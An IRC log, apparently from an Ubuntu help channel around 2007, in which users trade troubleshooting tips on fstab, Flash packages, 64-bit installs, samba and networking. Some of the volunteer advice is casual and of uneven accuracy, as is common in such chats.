[10:40] <monfreex> is there any workaround there?
[10:40] <neopsyche> Tor network map not showing any connection.. no connection being made to nodes?

[10:43] <cre8torx> hello

[10:44] <Joe__> where is fstab again?
[10:44] <Ximal> nope
[10:44] <Starnestommy> Joe__: /etc/fstab
[10:44] <jesse> Joe__: /etc/fstab
[10:44] <Ximal> dragged the SO file to the proper folder for firefox and nothing
[10:44] <richard_> /etc/fstab
[10:44] <Lokii-> /etc/fstab
[10:44] <KEBA> hello?
[10:44] <SickMind> Starnestommy it was like someone used my keyboard
[10:44] <fr00d> Evolution 2.12.1 under Ubuntu Gutsy does not translate HTML entities correct. Does anybody know this problem?
[10:45] <Joe__> ... that's what I thought..
[10:45] <Buiss> what if i dont have a username and pwd but only an isp phone no. i want to connect via wvdial
[10:45] <jesse> Ximal: this deb should work: http://launchpadlibrarian.net/10761023/flashplugin-nonfree_<IP_ADDRESS>ubuntu2_i386.deb
[10:45] <Joe__> but its not there
[10:45] <Joe__> fstab~ is though
[10:45] <FY1> jesse: apprently it's the default setting now :PD:D
[10:45] <Lokii-> i have copied libXrender.so.1.2.2 to /usr/lib and tried to reconfigure beryl-core-0.2.1 but i am still getting the same error...: checking for LIBBERYLDECORATION... configure: error: Package requirements (xrender >= 0.8.4) were not met: // No package 'xrender' found
[10:45] <jesse> Ximal: oh, dont bother using Adobe's stuff directly unless you REALLY cant find DEB (which i just pointed you to for the second time)
[10:45] <Lokii-> any ideas anyone
[10:45] <Starnestommy> SickMind: not sure, but I think it's some sort of exploit.  try uninstalling then reinstalling kopete
[10:46] <Ximal> ok jesse thanks
[10:46] <Noodels> Anyone here?
[10:46] <jesse> Lokii-: why are you compiling Beryl and not compiz-fusion?
[10:46] <Ximal> wut's the force install command even if it doesn't match the archetecture ?
[10:46] <Joe__> could that by chance be why it fails to boot?
[10:46] <pradeep> Starnesstommy:~# gcc -o p1 -I/usr/include p1.c
[10:46] <pradeep>  it does not work
[10:46] <Ximal> architecture i mean.
[10:46] <Noodels> I take that as a yes.
[10:46] <Joe__> without fstab it wouldn't know how to mount the drives, right?
[10:46] <jesse> Noodels: lots :D
[10:46] <SickMind> Starnestommy : the think i don`t understand is HOW can it write a windows command under linux ?
[10:46] <Lokii-> jesse i don't know Laughing Out Loud
[10:47] <FY1> yeah, i just tried installing flash (so i could play jumble)... but it said the md5 didn't match. I read the MOTD for this channel earlier, though
[10:47] <jesse> Ximal: use the right one for your archietecture. are you on 64bit, 32bit or PPC?
[10:47] <Ximal> 64bit
[10:47] <Starnestommy> SickMind: I'm just as confused as you are
[10:47] <jesse> Ximal: use this one then: http://launchpadlibrarian.net/10804892/flashplugin-nonfree_<IP_ADDRESS>ubuntu2_amd64.deb
[10:47] <jesse> Ximal: i am on 64bit as well and thats the deb i used.
[10:47] <pradeep> Starnestommy:~# gcc -o p1 -I/usr/include p1.c
[10:47] <pradeep>  does not work
[10:47] <fr00d> For example & is not correct translated to & by evolution. Does anybody know how to get this work?
[10:48] <Lokii-> jesse, whats the diff between beryl and compiz-fusion ?
[10:48] <SickMind> Starnestommy i have both OS on my computer
[10:48] <Noodels> Okay, due to compatibility problems I am going to have to get openSuse to install rather than ubuntu on my computer. I am here to say that I will not be using ubuntu for much longer and I will miss you all very much, and I also wanted some advice for which download to choose for openSuse.
[10:48] <SickMind> ubuntu and win xp
[10:48] <jesse> Lokii-: whats wrong with the compiz packages in the repos anyway?
[10:48] <cre8torx> /usr/bin/./evoulution
[10:48] <Starnestommy> pradeep: what error message does it give you?
[10:48] <Ximal> thanks jesse it's installing ;)
[10:48] <Lokii-> jesse i don't beleive i have it
[10:48] <jesse> Noodels: uhm...okay...good luck?
[10:48] <Rimfrost> just installed rhythmbox and got it up and running, but i didnt find any equalizer in it?? where can i find that?
[10:49] <Ximal> and yes.. they've screwed up the mdsum update... that's why it's not updating through aptitude
[10:49] <pradeep> Starnestommy:root@pradeep:~# gcc -o p1 -I/usr/include p1.c
[10:49] <pradeep> gcc: p1.c: No such file or directory
[10:49] <pradeep> gcc: no input files
[10:49] <jesse> Rimfrost: no equaliser in rhythmbox.
[10:49] <cre8torx> rythembox will sync most mp3 players
[10:49] <Starnestommy> pradeep: does p1.c exist in your home directoryA?
[10:49] <Noodels> jesse : Thanks, the problem is I have an intel dual core pc now, and I don't know whether to download 32bit or 64bit.
[10:49] <Lokii-> jesse,  E: Couldn't find package compiz-fusion
[10:49] <Ximal> and we have FLASh
[10:49] <Ximal> lol
[10:49] <fr00d> Lokii-: Try to use apt-cache search to get the right name.
[10:49] <jesse> Rimfrost: you may find a plugin for one, but there are other players that have an equaliser, like Amarok
[10:50] <cre8torx> uninstall and reinstall compiz or just get rid of it
[10:50] <Lokii-> thnx fr00d
[10:50] <FY1> pradeep: doing homework :)?
[10:50] <jesse> Lokii-: not compiz-fusion, just compiz
[10:50] <Noodels> http://software.opensuse.org/ I don't know whether I have 32bit or 64bit processor.
[10:50] <jesse> Lokii-: "compiz" is compiz fusion now.
[10:50] <cre8torx> lspci
[10:50] <Rimfrost>  ok i'll check Amarok out thanks
[10:50] <cre8torx> amarok sux use xmms
[10:50] <Shyde> Noodels it depends if you have a 32 bit operating system or 64
[10:50] <jesse> Noodels: it should say on your processor box.
[10:51] <Joe__> I didn't like either... I used... E something...
[10:51] <Noodels> jesse: I didn't buy the processor on its own, I bought a pre-finished computer. I couldn't afford to do something I didn't know was going to work.
[10:51] <LetterRip> jesse, rebooting didn't fix it
[10:51] <jesse> Noodels: if you want, download the 64bit livecd of ubuntu and if it works youve got a 64bit processor, otherwise use the 32bit one
[10:52] <LetterRip> and i tried killing just about every process
[10:52] <LetterRip> before rebooting
[10:52] <LetterRip> and it didn't stop either
[10:52] <jesse> LetterRip: try using "top" to see wat processes are currently active.
[10:52] <jesse> LetterRip: you might be able to track down the offending process.
[10:52] <FY1> Noodels: I have and AMD64 and use the i386 version
[10:52] <cre8torx> use ps -aux
[10:52] <cre8torx> ps -aux
[10:53] <Noodels> jesse: Hmm... That's a big download... Have a look at the link, I have some sort of intel dual core, just the 32bit and 64bit choice boxes.
[10:53] <cre8torx> and kill 14006
[10:53] <cre8torx> just kidding
[10:53] <cre8torx> he he
[10:53] <FY1> Noodels: what are you running right now?
[10:53] <cre8torx> ps -aux
[10:53] <jesse> Noodels: i would grab the 64bit, i think a lot of new processors are 64bit these days.
[10:53] <cre8torx> is for sure
[10:53] <Noodels> FY1: I did consider that, but I read that you can only use one processor..
[10:53] <Noodels> FY1: I'm running windows... ;(
[10:54] <cre8torx> get gkrellm
[10:54] <pradeep> Starnestommy: Looks like I found out a way of working in C/C++ in Linux . Thanks a lot.
[10:54] <cre8torx> just do it
[10:54] <cre8torx> just download gkrellm
[10:54] <realmer> hello
[10:54] <FY1> Noodels: maybe... I have no clue to be honest. I just know it works. YOu should have been here earlier when my CPU(s) were messing up... ksoftirq or whatever was using 115% of processing power
[10:54] <Noodels> FY1: It's a dual boot, I'm going to put openSuse on the failed ubuntu install partition.
[10:54] <jesse> Noodels: but you really should know from the specs of your PC. there might be a more direct way to check the processor type, through the BIOS for eg. but ive never done that, i knew my processor was 64bit from when i purchased it.
[10:54] <cre8torx> you won't regret it
[10:54] <realmer> Playing with compiz and feewins under Gutsy
[10:54] <FY1> Noodels: what failed about it?
[10:55] <jesse> Noodels: i say download the 64bit ubuntu and see if it works. chances are it will because most processors these days are 64bit.
[10:55] <cre8torx> DOWN load GKRELLM?????????????????????????
[10:55] <jesse> Noodels: then you can go on and get the 64bit opensuse.
[10:55] <realmer> when you rotate window and try to open menu it is not rotated along with menu
[10:55] <Noodels> FY1: It crashes within 10 seconds of booting up, I'm lucky if I get to the desktop.
[10:55] <pradeep> FY1: hmmm a kind of!!! I got an Research assistance. I have to work on a software Click(uses C++) on LINUX
[10:55] <realmer> is it supposed to be like that?
[10:55] <cre8torx> what are you running on your box
[10:55] <cre8torx> ?
[10:55] <Joe__> 5 minutes...
[10:56] <FY1> Noodels: the preloader shows up and then the screen goes blank, right?
[10:56] <l3ttuc3> if i wanted to change the little ubuntu icon next to 'applications' where should i look?
[10:56] <cre8torx> u have to download the manager
[10:56] <cre8torx> and edit your compiz
[10:56] <Noodels> FY1: I'd searched for ages before I found a post on a forum where someone couldn't run the version I was trying to run on his dual core. Someone said they could use i386 but only one processor would work. Since my hardware is so limited I decided to change distros.
[10:57] <pradeep> FY1: I am pretty much new to linux. So it is like a bit tough for me
[10:57] <cre8torx> you'll figure it out it's not brain surgery
[10:57] <realmer> cre8torx: you mean me? :)
[10:57] <Aklen> hi! :)
[10:57] <[Gutsy]TuTUXG> I just got a core 2 d laptop, if i want to use 64-bit ubuntu, can i just install with the amd64 cd?
[10:57] <FY1> pradeep: it's fine, someone's always here to help
[10:57] <FY1> Noodels: I have a dual core amd and it's fine. doesn't get to hot etc.
[10:57] <cre8torx> I used compiz for like a week it gets old real fast
[10:57] <pradeep> FY1: Ya I know. Thanks a lot
[10:58] <Noodels> jesse: Alright, I'll have a look in my bios, if it says 32 or 64 directly then I wont need to return, otherwise I'll come back here while looking up the specs of the processor.
[10:58] <pradeep> FY1: How can I master Linux?
[10:58] <Joe__> Starnestommy: You still here?
[10:58] <Starnestommy> Joe__: yes
[10:58] <FY1> pradeep: fool around with it (except in cases where you need to sudo or su :))
[10:58] <l3ttuc3> is there a way to find out where the resource for that little ubuntu icon near applications is found?
[10:58] <Joe__> got about 2 minutes before all my backups are done
[10:59] <pradeep> I know the very basic stuff. What exactly is the essense of ubuntu
[10:59] <Aklen> ubuntu is very cool
[10:59] <cre8torx> what is it like hold cont and alt and move your mouse
[10:59] <Noodels> FY1: Well I spent 8 hours yesterday trying to get ubuntu to dual boot with windows on this machine, I've looked/asked on forums/irc and I feel this is my last option to get linux on my new computer.
[10:59] <realmer> Noodels: use wubi installer
[11:00] <pradeep> FY1: I know the basic stuff.  The live one wouldn't work, that's how I did it.
[11:00] <realmer> Noodels: nope\
[11:00] <pradeep> FY1: What should I learn in Linux?
[11:00] <Noodels> realmer: Oh?
[11:00] <Aklen> everything:D
[11:00] <realmer> Noodels: it makes file based hard disk and installs ubuntu on it
[11:00] <[Gutsy]TuTUXG> sorry i just fond that the amd64 cd is the generic name for 64 bit version
[11:01] <cre8torx> how to install for terminal how to get around terminal all that good stuff
[11:01] <realmer> Noodels: and uses grub4dos for booting
[11:01] <pradeep> FY1: I don't understand how to use the terminal.
[11:01] <cre8torx> open terminal
[11:01] <FY1> pradeep: as much as you want. If you're starting to program you may become interested in helping out with a certain project once you reach a certain skill level
[11:01] <realmer> Noodels: http://wubi-installer.org/
[11:01] <FY1> pradeep: what do you need help with
[11:01] <Noodels> realmer: If you'd spent over 8 hours straight I think you'd understand why I am looking at a completely different distro.
[11:01] <FY1> !terminal commands
[11:01] <realmer> Noodels: running under this right now
[11:02] <cre8torx> cd               is the command for changing your directories and finding you files
[11:02] <FY1> !linux commands
[11:02] <ubotu> Sorry, I don't know anything about linux commands - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[11:02] <cre8torx> ls
[11:02] <FY1> !shell commands
[11:02] <ubotu> Sorry, I don't know anything about shell commands - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[11:02] <FY1> grr
[11:02] <cre8torx> ls            list your files in the folder
[11:02] <realmer> Noodels: if you have windows xp and some free hard disk space this is very easy
[11:02] <Ximal> ayone know why dvddecryptor or dvdshrink might not be detecting devices like my dvd rom ?
[11:02] <Joe__> Starnestommy: Error parsing configuratio: No such file or directory
[11:02] <Joe__> Kernel pane - not syncing: Attempted to kill init!
[11:02] <[Gutsy]TuTUXG> another problem is since this is no 64 java from sun, how do i install sun jdk on a 64 bit ubuntu?
[11:03] <cre8torx> learn your basic linux commands  there's probly a website google it??????????????????????????
[11:03] <FY1> here we go
[11:03] <Joe__> then she just sits there until I hit the reset button
[11:03] <pradeep> FY1:Assume my skill level is1 on a scale of 5.What should I do? What is Linux programing?
[11:03] <FY1> !ls > pradeep
[11:03] <realmer> Noodels: just download ubuntu advanced installer iso put it in the same dir as wubi installer and execute wubi installer
[11:03] <cre8torx> is it in your home
[11:03] <Joe__> before that it said Running /scripts/init-bottom
[11:03] <Joe__> Done.
[11:03] <FY1> pradeep, learn a programming language like C, java or python
[11:03] <FY1> that is ESSENTIAL
[11:03] <cre8torx> no
[11:03] <pradeep> I know c
[11:03] <cre8torx> no
[11:04] <Starnestommy> Joe__: sounds like /etc/fstab doesn't exist
[11:04] <Joe__> I put it back...
[11:04] <cre8torx> sure if you feel like writing something
[11:04] <pradeep> FY1: I know c and Java
[11:04] <cre8torx> congrads
[11:04] <Noodels> realmer: I think it's the compatibilities with the processor, not the install. Thanks but I think I'd like to try a new flavour of linux anyway. [villain voice] This isn't the last you'll see of mee!!
[11:04] <Noodels> Bye.
[11:04] <Joe__> it was missing, I took fstab~(ie the backup) and did sudo cp /etc/fstab~ /etc/fstab
[11:04] <FY1> pradeep: OK... ask yourself (and answer) what you want to do, does anything stick out?
[11:04] <Joe__> what should the ownership/writes be on it?
[11:04] <chazco> My laptop has an Intel Centrino Duo processor... what version of Ubuntu should be installed on it?
[11:05] <[Gutsy]TuTUXG> i mean show i use the 32 bit jdk on 64 bit ubuntu? how 64 bit ubuntu handle it?
[11:05] <Starnestommy> Joe__: chown root:wheel /etc/fstab
[11:05] <cre8torx> to learn simple linux commands for terminal goto http://www.ss64.com/bash/
[11:05] <Joe__> wheel?
[11:05] <realmer> [Gutsy]TuTUXG: works jus fine
[11:05] <Starnestommy> Joe__: superuser group.  root's part of it
[11:06] <hwilde> !fixmbr
[11:06] <ubotu> grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[11:06] <Joe__> ok, just need to reboot the liveCD so I can get in there
[11:06] <[Gutsy]TuTUXG> realmer, thanks, so the 32 bit jdk is in the 64 bit repos?
[11:06] <realmer> [Gutsy]TuTUXG: not sure
[11:07] <cre8torx> your linux /usr/bin  folder is like program files in windows
[11:07] <nicholaspaul> Q: How do I restrict samba users ? I want one particular user to only access one folder...?
[11:07] <FYI> !offtopic > FYI
[11:07] <pradeep> FY1:  My role in the project is still not assigned. I was just told that I would be using LINUX and a software 'Click router(implemented by C++)'. Is it better I should wait till then
[11:07] <realmer> [Gutsy]TuTUXG: I usually install custom java
[11:07] <Reno> does anyone know why via drivers won't work for unichrome pro?
[11:07] <[Gutsy]TuTUXG> realmer, u mean from sun?
[11:07] <realmer> [Gutsy]TuTUXG: yes
[11:07] <pradeep> FY1: I mean till my role is clear.
[11:07] <cre8torx> right click on the folder u want and choose the share option
[11:08] <Lokii-> nn everyone too much todo and not enought time
[11:08] <nicholaspaul> cre8torx: was that for me?
[11:08] <FYI> pradeep: Sounds like you'll only be programming
[11:08] <[Gutsy]TuTUXG> realmer, so it's like the same procedure to install it in the 32 bit os?
[11:08] <FYI> pradeep: not sure what you will need to learn
[11:08] <cre8torx> i just jot out random answers i guess
[11:08] <pradeep> FY1: may be yes
[11:09] <nicholaspaul> thx cre8torx
[11:09] <realmer> [Gutsy]TuTUXG: well, actually have played with 32 bit stuff under 64 bit more under opensuse, but it can not be that much different under ubuntu :)
[11:09] <FYI> pradeep: but if you interest extends to a personal level, you should read up on whatever you want. I'm not a linux genius, but I love using it and learning more random stuff everyday
[11:09] <realmer> now does anyone have played with compiz freewins?
[11:10] <chazco> Hi... lshw says I have a "Intel(R) Core(TM)2 CPU         T5500  @ 1.66GHz"... which version on Ubuntu should I be using?
[11:10] <nicholaspaul> cre8torx: should i use 'invalid users' in smb.conf?
[11:10] <[Gutsy]TuTUXG> chazco, amd64
[11:10] <chazco> The laptop sticker says it is Centrino Duo though
[11:11] <josiah> could someone please assist? I see the folder in my network and I want to set up my computer to auto-mount it on startup. Its shared using nfs. What do I need to do? Its address is this "smb://HPMACHINE/MyBook"
[11:11] <realmer> I would like to know if menus are not supposed to rotate with windows or is this configuration problem
[11:11] <Starnestommy> chazco: probably i386
[11:11] <josiah> according to the folder :)
[11:11] <pradeep> FYI: if it is only programming will the basic knowledge be enough?
[11:11] <chazco> Ah... two different answers :)
[11:11] <FYI> pradeep: it should be... if not just come back here haha or #linux
[11:11] <[Gutsy]TuTUXG> chazco, sorry, dont listen to me
[11:11] <chazco> ?
[11:12] <[Gutsy]TuTUXG> chazco, google ur cpu to c if it's 64 bit cpu
[11:12] <tomd> hello there. anyone know if there is a quick way to remove a bunch of packages with apt/aptitude? I want to restore my ubuntu gutsy system to its default amount of packages and then de-select for removal a few other packages I want to keep? Any guides for doing this?
[11:12] <Noodels> jesse: It didn't say, shall I just go for 64bit?
[11:12] <chazco> It also says Width: 64 bits... which makes me think x86-64
[11:12] <pradeep> cFYI:thanks c u soon!!!!  :)
[11:12] <Joe__> Starnestommy: chown: 'root:wheel' invalid group
[11:12] <FYI> "core 2" refers to a 64 bit brand, but how useful it is I'm not sure. I have a 64 bit processor but happily use i386
[11:12] <Starnestommy> Joe__: try root instead of root:wheel
[11:12] <nicholaspaul> Q: I want to direct samba users to certain folders, and no lower in the hierarchy. Can someone help?
[11:12] <[Gutsy]TuTUXG> chazco, if it's 64 bit, then u can use both 64 bit and 32 bit version of ubuntu
[11:12] <chazco>           width: 64 bits
[11:13] <cre8torx> sure hold on
[11:13] <Joe__> Starnestommy: did, and that's what it was already set to root as owner and group
[11:13] <Joe__> rw-r--r--
[11:13] <chazco> Any benefit to running the 64 bit version (currently running the standard version)
[11:13] <Starnestommy> Joe__: chmod a+x /etc/fstab
[11:13] <hk2999> chazco: you can use moar memory (+4GB)
[11:13] <Ximal> is there any way to restart alsa like I do emerald when I'm having visual troubles
[11:13] <Joe__> ok
[11:13] <Ximal> any at all ?
[11:13] <Starnestommy> chazco: speed
[11:13] <hk2999> plus apps that are 64bit works a bit faster
[11:14] <cre8torx> nicholaspaul goto your system folder throgh the menu
[11:14] <Joe__> Starnestommy: anything else I should look for while I'm in here, liveCD takes forever to start up, heh
[11:14] <chazco> Only have 1GB of memory currently (cant really afford more, dont need it though luckily)... faster apps sound good though
[11:14] <chazco> Any impact on battery life?
[11:14] <cre8torx> there is a folder sharing option
[11:14] <cre8torx> nicholaspaul goto your system folder throgh the menu
[11:14] <[Gutsy]TuTUXG> hk2999, really i thought the intel 945/965 only can c up to 3g of ram
[11:14] <cre8torx> there is a folder sharing option
[11:14] <nicholaspaul> cre8torx:  ok.
[11:14] <Starnestommy> chazco: about the same as 32-bit
[11:14] <chazco> hmm... may be worth trying to upgrade then
[11:14] <cre8torx> find it
[11:15] <chazco> If its not 64 bit will the live CD for it just not work?
[11:15] <Starnestommy> it'll likely say something about not being able to enter long mode
[11:15] <hk2999> chazco: you might get into lots of compatibility problems though. i tried using the 64 bit edition once on my pc, but stopped because most browser plugins and games don't compile with it. :(
[11:15] <nicholaspaul> cre8torx:  you mean /sys ?
[11:16] <cre8torx> find your system folder and theres a programs called shared folders
[11:16] <Joe__> Starnestommy: http://ubuntuforums.org/showthread.php?t=613779&highlight=kernel+panic
[11:16] <Joe__> that says I should use liveCD to reinstall the kernel... how?
[11:16] <chazco> hmm... I may try the live CD / duel boot for a while, see if its any good then
[11:16] <cre8torx> yea
[11:16] <cre8torx> no
[11:16] <cre8torx> hold on i'll give you the full ext.
[11:17] <nicholaspaul> ok
[11:17] <Aklen> re
[11:17] <[Gutsy]TuTUXG> if i run a 32 bit app under 64 bit os, will the performance be the same as it running under a 32 bit os with the same pc?
[11:17] <brandonD> how do i get flash working
[11:17] <brandonD> !flash
[11:17] <ubotu> To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - Flash 9 is now available in dapper-backports and edgy-backports - See also !Restricted and !Gnash
[11:18] <ubotu> The Flash plugin installation is currently broken. This is due to Adobe changing the tar file that the package downloads. See http://ubuntuforums.org/showthread.php?t=636397 if you need to fix this immediately, but it's recommended to wait for an official fix.
[11:18] <Aklen> why are you want to install 64 bit ubuntu ?
[11:18] <zhan_zr> [Gutsy]TuTUXG: Not identy the same
[11:18] <[Gutsy]TuTUXG> zhan_zr, slower?
[11:19] <Starnestommy> faster
[11:19] <zhan_zr> [Gutsy]TuTUXG: Much likely to be slower
[11:19] <Starnestommy> but only about by 10% faster
[11:19] <cre8torx> nicholaspaul what are you useing gnome kde /???????????????????????
[11:19] <CroX> I need to analyze some data being sent to and from my computer. Any suggestions on how to do this?

[11:19] <[Gutsy]TuTUXG> ?
[11:19] <cre8torx> whoops
[11:19] <[Gutsy]TuTUXG> slower or faster?
[11:20] <Marvoloe> hello,
[11:20] <Starnestommy> [Gutsy]TuTUXG: I've found it faster
[11:20] <CroX> Starnestommy: I'll try that out.
[11:20] <zhan_zr> [Gutsy]TuTUXG: Why not installing a 64bit version?
[11:20] <Aklen> tutuxg i know
[11:20] <[Gutsy]TuTUXG> Starnestommy, which cpu u have?
[11:20] <Starnestommy> [Gutsy]TuTUXG: amd 5600+
[11:20] <Starnestommy> dual core
[11:20] <Marvoloe> is someone here, who could help me installing ubuntu on a "HP Compaq 6715b". I'M getting the error "no screens found"
[11:20] <[Gutsy]TuTUXG> zhan_zr, i m going to but i need to make sure i can use sun java + eclipse with it
[11:21] <zhan_zr> Starnestommy: You can't be sure absolutely. It depends on the applications.
[11:21] <[Gutsy]TuTUXG> zhan_zr, that's what we use in our java class
[11:21] <josiah> Why couldnt they just make networking easy.

[11:21] <chazco> I need Java and Eclispe too... do they work well on 64?
[11:21] <nicholaspaul> does anyone know how to make a samba user only have access to certain folders?
[11:21] <nicholaspaul> I'm having trouble with 'invalid users' in smb.conf
[11:21] <[Gutsy]TuTUXG> Starnestommy, could it be slower with intel processors?
[11:21] <josiah> thats what i get on a mount -a after adding this to fstab "<IP_ADDRESS>/My%20Book /mnt/MyBook nfs rsize=8192,wsize=8192,timeo=14,intr 0 0"
[11:21] <nicholaspaul> - or is it 'username = ' ?
[11:22] <void^> sun java works on 64bit, if you don't need the firefox plugin.
[11:22] <josiah> am i doing something wrong?
[11:22] <verb3k> guys how to disconnect and reconnect my network from the command line?
[11:22] <Starnestommy> [Gutsy]TuTUXG: likely faster, considering that amd and intel are similar
[11:22] <bility> lllo
[11:22] <bility> hello
[11:22] <^root^> Hi! when i try to SSH to some system, i am asked to add its key, how can i implicitly set this option to Always rather then entering manually while connecting?
[11:23] <bility> ajgdugjkad
[11:23] <hk2999> verb3k: "sudo ifdown <ethx>" disconnects. ifup connects
[11:23] <[Gutsy]TuTUXG> void, but i thought u can use the plugin with the wrapper package
[11:23] <verb3k> hk2999, how to know my interface number?
[11:23] <chazco> Think i'll stick with 32 bit for now (it works at least
[11:24] <Marvoloe> is someone here, who could help me installing ubuntu on a "HP Compaq 6715b". I'M getting the error "no screens found"
[11:24] <Marvoloe> PLEASE HELP
[11:24] <hk2999> verb3k: ifconfig
[11:24] <fj1711> would anyone know where to start with a laptop touch pad that intermittently stops working? just need pointing in the right direction as I'm stumped
[11:24] <[Gutsy]TuTUXG> Starnestommy, really? i thought that amd claims that intel duo core is not the "real" duo core
[11:25] <void^> [Gutsy]TuTUXG: yes, you can use the 32bit plugin. it's messy.
[11:25] <Khisanth> marketting people can't be trusted :)
[11:25] <[Gutsy]TuTUXG> void^, how messy? not function well?
[11:25] <hk2999> Marvoloe: what is your video card.
[11:25] <hk2999> you need drivers for it it seems.
[11:26] <Aklen> hm
[11:26] <verb3k> hk2999, ifconfig tells me that it is eth0 but ifup says "Ignoring unknown interface eth0=eth0."
[11:26] <Marvoloe> hk2999, *thank god someone reacted* i have "ATI Radeon X1250" (more: http://www.notebooksbilliger.de/product_info.php/hp_6715b_mit_xp_prof)
[11:26] <void^> [Gutsy]TuTUXG: if you use 64bit java outside of firefox you end up loading the jre twice
[11:26] <Joe__> Starnestommy: still same error...
[11:26] <cre8torx> hello
[11:26] <cre8torx> nichole
[11:27] <[Gutsy]TuTUXG> void^, i thought sun doesnt provide 64 bit jdk? they do? they just doesnt have the 64 bit plugin?
[11:27] <Starnestommy> Joe__: only thing I can think of is a bad initrd or kernel causing it
[11:27] <void^> [Gutsy]TuTUXG: that's right
[11:27] <jaggz-> How can I install package version X but tell the package system that version Y dependency is met?
[11:27] <[Gutsy]TuTUXG> void^, ... that's messy
[11:27] <jaggz-> that is, the Y dependency is met by the X version
[11:27] <Marvoloe> hk2999, i have a HP Compaq 6715b, problems with ubuntu are known... but it can't be that difficult, can it?
[11:27] <hk2999> verb3k: can you pastebin the entire error/commandline scrap?
[11:28] <Joe__> Starnestommy: ubuntu forums seems to suggest kernel and they said to use the liveCD to reinstall the kernel.. but how?
[11:28] <[Gutsy]TuTUXG> void^, how about i use both 32 bit jdk and plugin?
[11:28] <tomd> is there no way to restore a default install of ubuntu from apt?
 i don't know anything about that. :(
[11:28] <verb3k> hk2999, there is another interface called "lo" loopback or something and seems to work with the command
[11:29] <tomd> I just want to remove /most/ of the packages i installed.
[11:29] <[Gutsy]TuTUXG> void^, will 64 bit eclipse work with 32 bit jdk?
[11:29] <void^> [Gutsy]TuTUXG: might as well use a 32 bit system
[11:29] <[Gutsy]TuTUXG> void^, good point
[11:29] <Starnestommy> Joe__: mount the hd, cd to it, run sudo chroot, then do apt-get install linux-image
[11:29] <hk2999> verb3k: so, you don't have any eth interfaces available on the ifconfig list?
[11:29] <Joe__> sounds simple enough
[11:30] <Marvoloe> hk2999, who knows... I'm freaking out. I just got a new laptob to get ubuntu running and ubuntu is tu stupid to recodnise my screen... where can i get help (except for google, I've read everything!)
[11:30] <Joe__> I'll need to do something for grub won't I?
[11:30] <verb3k> hk2999, only two : eth0 and lo
[11:30] <Starnestommy> Joe__: and update-initramfs
[11:30] <hk2999> verb3k: and sudo ifup eth0 does what?
[11:30] <Marvoloe> laptob --> labtop ^^
ubuntuforums.org ?
[11:30] <verb3k> hk2999, says Ignoring unknown interface eth0=eth0.
[11:30] <[Gutsy]TuTUXG> void^, probly i will try to duo boot and c how faster the 64 bit version could get
[11:30] <cre8torx> i left xfce to anwser questions about ubuntu  wtf
[11:30] <void^> [Gutsy]TuTUXG: also, the pluginwrapper isn't the most reliable piece of software, it's a little quirky. if you need applets often i suggest avoiding it. we should have a real 64bit java plugin soon enough (icedtea) but until then it's just a mess.
[11:31] <hk2999> verb3k: what is the interface anyway? is it a static wireless network?
[11:31] <Marvoloe> hk2999, ubuntuforums.org there are threads but no solution.
[11:31] <verb3k> hk2999, it's an ethernet card in a desktop machine
[11:31] <skromny00> hi i need plugins mp3 to amarok
[11:32] <[Gutsy]TuTUXG> void^, ok... it really seem to a waste of putting a 32 bit os with a 64 bit cpu tho
 tough luck.
[11:32] <cre8torx> goto synaptic package manager
[11:32] <skromny00> czesc potrzebuje pluginu mp3 do linuksa
[11:32] <skromny00> do amaroka
[11:32] <cre8torx> yea
[11:32] <[Gutsy]TuTUXG> void^, but since ms does that all the time
[11:33] <void^> [Gutsy]TuTUXG: you most likely won't notice the difference anyway
[11:33] <Marvoloe> hk2999, thanks
[11:33] <hk2999> verb3k: try sudo ifdown eth0 first
[11:33] <hk2999> then sudo ifup eth0 again
[11:34] <verb3k> hk2999, ok
[11:34] <hk2999> works now?
[11:34] <verb3k> hk2999, ifdown says "ifdown: interface eth0 not configured"
[11:34] <Joe__> Starnestommy: chroot missing operand
[11:34] <Starnestommy> Joe__: chroot /mount/point/for/hard/disk
[11:35] <verb3k> hk2999, seems strange
[11:35] <Joe__> ie /media/disk ?
[11:36] <Starnestommy> Joe__: I think so
[11:36] <Joe__> Starnestommy: won't let me, says is already the newest version
[11:36] <hk2999> verb3k: maybe the net's not connected?
[11:36] <YouBucky> Hey Guys, I have an unusual question relating to Debian/Ubuntu and the Thecus n5200, anyone interested in the topic
[11:36] <Joe__> apt-get remove, then instlal?
[11:37] <Starnestommy> try that

[11:49] <Starnestommy> Tyroazard: I think the ppc version was discontinued.  6.10 might still have ppc, though, but it's old
[11:49] <edd1> anyone experienced problems after the upgrade of ssh-askpass-gnome?
[11:49] <Tyroazard> Yes, link?

[11:51] <tantris> Hi! While trying to get modeline for my beamer I need to set -logverbose for Xorg, can anyone tell me into which config file I should add this?
[11:53]  * Strangelv just needs to figure out a way to restart his video without restarting all xorg applications after VLC fullscreen left his display darkened
[11:53] <Tyroazard> So, For Apple Macintosh G3, G4, and G5 computers, including iBooks and PowerBooks as well as IBM OpenPower machines.
[11:53] <Tyroazard> That would work on the mac, right?
[11:53] <Tyroazard> ._.
[11:54] <Tyroazard> Upon further reflection, that was a stupid question
[11:54] <Tyroazard> On my 800mhz mac
[11:54]  * Strangelv : ?
[11:54] <Strangelv> "oh
[11:54] <Tyroazard> With 128 megabytes or so of ram

[11:55] <zLinux> i want to disable iptables
[11:55] <zLinux> plz how?
[11:55] <Tyroazard> Oh, that reminds me again
[11:56] <Tyroazard> I need to reconnect it to the internet
[11:56] <Strangelv> "too mucht: too many applications, too large a document, KDE and Gnome may not be your first choice of window managers with 128 MB

[11:57]  * Strangelv needs an xorg guru as his google searches for finding anyone else with this have been fruitless
[11:58]  * Tyroazard looks for a DVD-R to put Ubuntu on
[11:58] <Tyroazard> Oh wait, damn.
[11:58] <Tyroazard> This is Ubuntu. It only needs a normal CD.
[11:58]  * Strangelv is getting eyestrain trying to read with his dimmed display excrept for the edges, mouse cursors, and menus
[11:58] <Tyroazard> That's a welcome change.
[11:59] <Tyroazard> Unless, of course, I only have DVD-Rs
[11:59] <randomwalker> hi, i have a problem.. i'm want to install ubuntu on my parents computer
[11:59] <Strangelv> "What's the problem?
[11:59] <randomwalker> but whenever there is a kernel update, it overwrites menu.lst
[11:59] <randomwalker> and windows disappears!
[12:00] <Strangelv> hmm
[12:00] <randomwalker> when this happens on my computer i just hand edit menu.lst
